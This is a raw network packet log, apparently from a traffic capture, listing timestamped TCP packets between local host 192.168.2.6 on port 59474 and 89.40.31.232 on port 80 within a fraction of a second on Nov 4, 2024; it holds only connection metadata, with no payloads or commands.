Nov 4, 2024 16:52:38.730722904 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.730781078 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730787992 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730794907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730801105 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730827093 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730835915 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730837107 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.730843067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730849028 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730860949 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730868101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730874062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730886936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730899096 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.730925083 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730931044 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730937958 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.730947971 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730953932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730957031 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.730962038 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730972052 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730988979 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.730993986 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730999947 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731013060 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731025934 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.731036901 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.731141090 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731148005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731154919 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731162071 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731183052 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731184006 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.731188059 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731200933 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.731204033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731234074 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.731484890 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731492043 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731506109 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731523037 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.731555939 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.731564999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731571913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731579065 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731601000 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731607914 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731614113 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.731621027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731627941 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731653929 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.731674910 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.731832981 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731839895 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731853008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731868982 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731874943 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731884003 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.731887102 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731894016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731899977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731911898 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731918097 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731918097 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.731925964 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731931925 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731937885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731940031 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.731944084 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731951952 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731964111 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.731995106 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.731995106 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732002020 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732017994 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732023954 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732031107 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732034922 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732043028 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732048988 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732057095 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732079029 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732079983 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732084036 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732089996 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732096910 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732110023 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732112885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732120037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732139111 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732167006 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732177019 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732206106 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732213974 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732222080 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732227087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732233047 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732239008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732245922 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732249022 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732251883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732271910 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732280016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732289076 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732309103 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732322931 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732356071 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732363939 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732369900 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732377052 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732384920 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732391119 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732404947 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732412100 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732413054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732419968 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732426882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732434988 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732440948 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732444048 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732481956 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732482910 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732492924 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732500076 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732501984 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732506037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732512951 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732521057 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732528925 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732536077 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732548952 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732557058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732574940 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732574940 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732595921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732604980 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732611895 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732613087 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732613087 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732620001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732633114 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732639074 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732640028 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732645988 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732654095 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732667923 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732686043 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732712984 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732749939 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732757092 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732764006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732769966 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732778072 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732783079 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732789040 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732796907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732810020 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732815981 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732816935 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732825041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732829094 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732836008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732846022 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732865095 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732880116 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732903957 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732918024 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732924938 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732929945 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732937098 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732939959 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732944012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732949972 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732955933 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732963085 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.732969046 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732988119 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.732999086 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733000994 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733006001 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.733016968 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733022928 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.733023882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733031034 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733038902 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733053923 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733057976 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.733062029 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733074903 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733082056 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733084917 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.733103991 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.733125925 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.733174086 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733182907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733186960 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733200073 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733213902 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733221054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733238935 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733242035 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.733253956 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733262062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733263016 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.733268023 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733274937 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733279943 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733279943 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.733287096 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733294010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733305931 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.733325958 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.733355045 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.780613899 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.780649900 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.780656099 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.780667067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.780729055 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.780772924 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.780985117 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781002045 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781013012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781124115 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.781536102 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781651020 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781665087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781671047 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781677961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781688929 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781696081 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781732082 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.781738997 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781745911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781758070 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781764030 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781768084 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.781770945 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781774998 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781785965 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781793118 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.781797886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781810999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781824112 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.781862020 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.781902075 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781908989 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781923056 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781929016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781941891 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781944990 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781950951 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.781965971 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.782007933 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.782018900 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782025099 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782042027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782047987 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782053947 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782059908 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782064915 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782072067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782073021 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.782088041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782094002 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782099962 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782104015 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.782107115 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782113075 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782129049 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.782166958 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.782200098 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782207012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782222033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782253981 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.782277107 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.782288074 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782294035 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782315969 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782322884 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782351017 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.782352924 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782358885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782371998 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782387972 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.782402039 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.782427073 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.782497883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782591105 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782605886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782618999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782624006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782630920 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782636881 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782649040 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782660007 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.782685995 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782691956 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782696962 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782704115 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782706976 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.782737970 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.782772064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782778978 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782785892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782790899 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782798052 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782833099 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.782850027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782855988 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782856941 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.782862902 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782898903 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.782924891 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782931089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782951117 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782957077 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782963991 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782969952 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.782979012 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.783016920 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.783122063 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783138990 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783145905 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783185959 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783193111 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.783231020 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783237934 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783260107 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783267021 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783297062 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.783324957 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783329010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783334970 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.783337116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783349991 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783377886 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.783401966 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.783422947 CET	80	59474	89.40.31.232	192.168.2.6
